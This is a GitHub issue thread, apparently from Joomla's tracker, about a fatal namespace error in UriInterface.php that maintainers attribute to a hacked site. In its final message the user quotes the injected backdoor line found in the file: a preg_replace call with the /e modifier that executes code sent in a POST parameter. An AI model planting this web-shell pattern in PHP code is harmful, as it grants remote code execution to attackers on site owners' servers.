After fixing a blank screen, I got this fatal error: Fatal error: Namespace declaration statement has to be the very first statement in the script in /home/greenxxxxxxxx/public_html/libraries/vendor/joomla/uri/src/UriInterface.php on line 10
How to fix a blank screen --> http://www.joomlabamboo.com/blog/how-to-joomla/how-to-fix-a-blank-screen-after-upgrading-to-joomla-3-2
The namespace declaration is the first non comment line in that file.
Anything that isn't namespace Joomla\Uri;
as the first line after the
file doc block would mean the file has been altered in some way.
On Sunday, December 27, 2015, jarutosurano notifications@github.com wrote:
After fixing a blank screen, I got this fatal error: Fatal error:
Namespace declaration statement has to be the very first statement in the
script in
/home/greenxxxxxxxx/public_html/libraries/vendor/joomla/uri/src/UriInterfacephp
on line 10How to fix a blank screen -->
http://wwwjoomlabamboocom/blog/how-to-joomla/how-to-fix-a-blank-screen-after-upgrading-to-joomla-3-2—
Reply to this email directly or view it on GitHub
#8799.
Does it mean my site has been hacked?
Based on what you posted its a fair assumption.
On Sunday, December 27, 2015, jarutosurano notifications@github.com wrote:
Does it mean my site has been hacked?
—
Reply to this email directly or view it on GitHub
#8799 (comment).
I see. Thanks, Mbabker. Do you have Joomla extensions that will help me detect hacked files?
Myjoomla
On Sunday, December 27, 2015, jarutosurano notifications@github.com wrote:
I see. Thanks, Mbabker. Do you have Joomla extensions that will help me
detect hacked files?—
Reply to this email directly or view it on GitHub
#8799 (comment).
Sent from Gmail Mobile
Status | New | ⇒ | Closed |
Closed_Date | 0000-00-00 00:00:00 | ⇒ | 2015-12-28 09:47:20 |
Closed_By | ⇒ | brianteeman |
Closed as it is now clear that this is not an issue with the core joomla files but a specific issue (most likely a hack) to a specific site
Labels |
Added:
?
|
I locate the file and compare the code from my backup file and I found out that there's a coded added at the header of the code:
<?php @preg_replace('/(.*)/e', @$_POST['dnpivijtfrdn'], '');
I simply remove this one --> @preg_replace('/(.*)/e', @$_POST['dnpivijtfrdn'], ''); or UPLOAD the backup file.